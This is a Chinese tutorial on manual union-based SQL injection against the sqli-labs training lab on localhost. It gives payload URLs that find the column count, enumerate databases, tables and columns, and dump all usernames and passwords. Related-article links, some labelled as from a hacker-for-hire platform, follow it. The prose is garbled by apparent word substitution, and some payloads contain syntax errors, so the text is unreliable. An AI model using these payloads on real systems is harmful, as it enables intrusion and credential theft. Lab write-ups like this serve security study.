浅谈web安全之手艺检测sql注入以及取得信息

访客6年前黑客工具1227

所谓SQL注入,便是经过把SQL指令刺进到Web表单递送或输入域名或页面恳求的查询字符串,终究到达诈骗服务器履行歹意的SQL指令。
查验是否可以注入
and 1=1 正常
and 1=2 犯错
http://localhost/sqlilabs/Less-2/?id=1 是一个注入点。
后台的SQL句子的写法大致为
select username,password,[....] from table where id=userinput得到字段总数
那么咱们经过运用order by的句子来判别select所查询字段的数目。
那么payload变为:
http://localhost/sqlilabs/Less-2/?id=1 order by 1/2/3/4....
得到显现位当运用order by 4时程序犯错,那么select的字段一共是3个。
在页面上会显现从select中选取的字段,咱们接下来便是要判别显现的字段是哪几个字段。
运用如下的payload(两者均可)进行判别。
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,3
http://localhost/sqlilabs/Less-2/?id=1 and 1=2 union select 1,2,3

当运用个如上的payload时,页面的显现如下:
经过如上的页面显现就可以知道,页面中显现的是第2位和第3位的信息。
查选库
在知道了显现位之后,那么接下来就可以经过显现位来显现咱们想知道的信息,如数据库的版别,用户信息等等。那么咱们运用如下的payload就可以知道相关的信息。
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,version(),database()

此刻页面的显现为:
可以看到在页面上就呈现了数据库的版别信息和当时运用的数据库信息。
那么接下来咱们经过这种办法知道数据库中一切的数据库的称号。
payload如下:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,SCHEMA_NAME, from information_schema.SCHEMATA limit 0,1 #得到之一个库名
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,SCHEMA_NAME, from information_schema.SCHEMATA limit 1,1 #得到第二个库名
因为database()回来的便是当时web程序所运用的数据库名,那么咱们就运用database()来查询一切的表信息。当然在上一步中。咱们也现已知道当时的database便是security。查选表名
那么咱们结构的payload如下:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

这样咱们就得到当时数据库下一切的表名了。页面回来的成果是:
所以咱们知道在当时的数据库中存在4张表,分别是emails,referers,uagents,users。
查选列名
在知道了表名之后,接下来咱们运用information_schema.columns就可以依据表名来获取当时表中一切的字段。
payload如下:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273(users的十六进制)
经过这个句子,咱们就知道在users表中存在USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,id,name,password这些字段。可是我本地测验的测验的时分,这个存在一个问题,实际上在security数据库的users的表中,只要id,username,password这3个字段,其他的字段都是其他数据库的中users表的字段名。

经过上面的payload,咱们也相同可以知道在emails,referers,uagents中的字段称号。
可是有的时分后台的代码或许仅用了运用where子句,那么这个时分就无法经过information_schema.coumns来得到列名了,这个时分只可以依据你自己多年的黑客经历来进行猜解了。猜解的办法也是比较的简略,运用exists子句就可以进行猜解了。假设在咱们现已知道了表名的情况下(当然猜解表名也运用经过exists子句来完结)。
猜解的句子如下:
http://localhost/sqlilabs/Less-2/?id=1 and exists(select uname from users)
如下如所示:首要的句子便是exists(select 需求猜解的列名 from users)这种句式。如果在users表中不存在uname列名,则页面不会显现内容或者是直接呈现sql的过错句子。

下面这个便是猜解到了users表中存在的字段。
http://localhost/sqlilabs/Less-2/?id=1 and exists(select username from users)
脱裤猜想在users表中存在username列,上面的句子程序可以正常第回来成果,那么寿命在users表中的确存在username列名。
在知道了当时数据库一切的表名和字段名之后,接下来咱们就可以dump数据库中一切的信息了。比方咱们下载当时users表中一切的数据。
可以运用如下的payload:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(username,password),3 from users
就可以得到users表中一切的username和password的数据了,经过这种办法也可以得到其他表中的数据了。
 

相关文章

Kerberos中继攻击:滥用无约束委派(下)-黑客接单平台

上一篇文章,我只讲了中继进犯的基本理论,这篇文章,我会举两个示例来及详细阐明。 示例1:运用计算机帐户和SpoolService缝隙获取DC同步权限 在第一种情况下,咱们将乱用我的internal.c...

浏览器进犯结构BeEF Part 5:进犯Web使用与进犯网络

前语 上一章介绍了Tunneling Proxy技能以及怎样运用这项技能来绕过httponly完成高档的会话盗取。本章评论如安在不违背SOP情况下,经过勾连浏览器进犯Web运用与进犯网络。其中有一些进...

第六届全国网络安全大赛代码审计全解

 XDCTF是一项面向全国在校大学生的信息安全类竞赛,由西电信息安全协会与网络攻防实训基地联合举行。旨在增强学生对网络常识的爱好,进步学生学习网络技术的积极性,培育学生的立异 认识、协作精力和理论联系...

RIG exploit kit:歹意活动剖析陈述

尽管攻击方式不算复杂,但是RIG仍然能通过一些恶意软件活动获得较大的流量。而那些利用被黑站点和恶意广告,重定向到RIG的流量,是通过服务端的302跳转机制,或者是通过客户端的iframe和JS脚本...

Nmap备忘单:从探究到缝隙使用 Part1

在侦办过程中,信息搜集的初始阶段是扫描。 侦办是什么? 侦办是尽或许多的搜集方针网络的信息。从黑客的视点来看,信息搜集对进犯十分有协助,一般来说能够搜集到以下信息: 电子邮件、端口号、操作体系、运转...

TrickBot新动态解析:近万行代码的Dropper和滥用ADS机制-黑客接单平台

TrickBot是自2019年以来影响规模最大的银行木马之一,经过几年的开展,现在的trickBot或许现已脱离了简略的“银行木马”的领域,它的模块化特点将歹意软件提高到了更高的水平。事实上,它能够被...